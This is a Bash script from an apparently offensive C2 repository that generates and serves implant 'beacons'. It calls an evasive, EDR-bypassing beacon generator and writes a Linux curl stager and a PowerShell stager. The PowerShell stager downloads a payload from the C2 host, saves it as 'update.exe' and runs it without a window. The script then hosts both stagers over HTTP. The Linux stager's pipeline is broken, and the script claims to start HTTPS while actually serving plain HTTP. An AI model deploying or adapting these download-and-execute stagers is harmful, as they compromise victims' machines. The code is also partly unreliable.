Files
CoM-c2itall/files/serve-beacons.sh
T
2025-04-15 12:29:07 -04:00

60 lines
1.9 KiB
Bash

#!/bin/bash
# Beacon server script to host generated implants
# Configuration
BEACONS_DIR="/opt/beacons"
WEBSERVER_PORT=8443
CERTIFICATE="/etc/ssl/private/beacon-server.pem"
KEY="/etc/ssl/private/beacon-server.key"
# Set secure umask
umask 077
# Ensure beacons directory exists
mkdir -p $BEACONS_DIR
# Function to generate beacons using Sliver
# This will replace part of files/serve-beacons.sh
function generate_beacons() {
echo "[+] Generating evasive beacons for all platforms..."
# Use evasive beacon generator for better EDR bypass
/opt/c2/generate_evasive_beacons.sh $C2_HOST 8443
# Generate stagers
echo "#!/bin/bash
curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
chmod +x $BEACONS_DIR/beacon.sh
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
\$url = 'http://$C2_HOST:8443/windows.exe';
\$outpath = \"\$env:TEMP\\update.exe\";
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
echo "[+] All beacons generated successfully"
}
# Generate beacons
generate_beacons
# Serve beacons using Python's HTTP server (with SSL if certificate exists)
if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
cd $BEACONS_DIR
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
SERVER_PID=$!
else
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
cd $BEACONS_DIR
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
SERVER_PID=$!
fi
echo "[+] Beacon server started with PID $SERVER_PID"
echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
echo "[+] Press Ctrl+C to stop the server"
# Keep script running and respond to Ctrl+C
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
while true; do sleep 1; done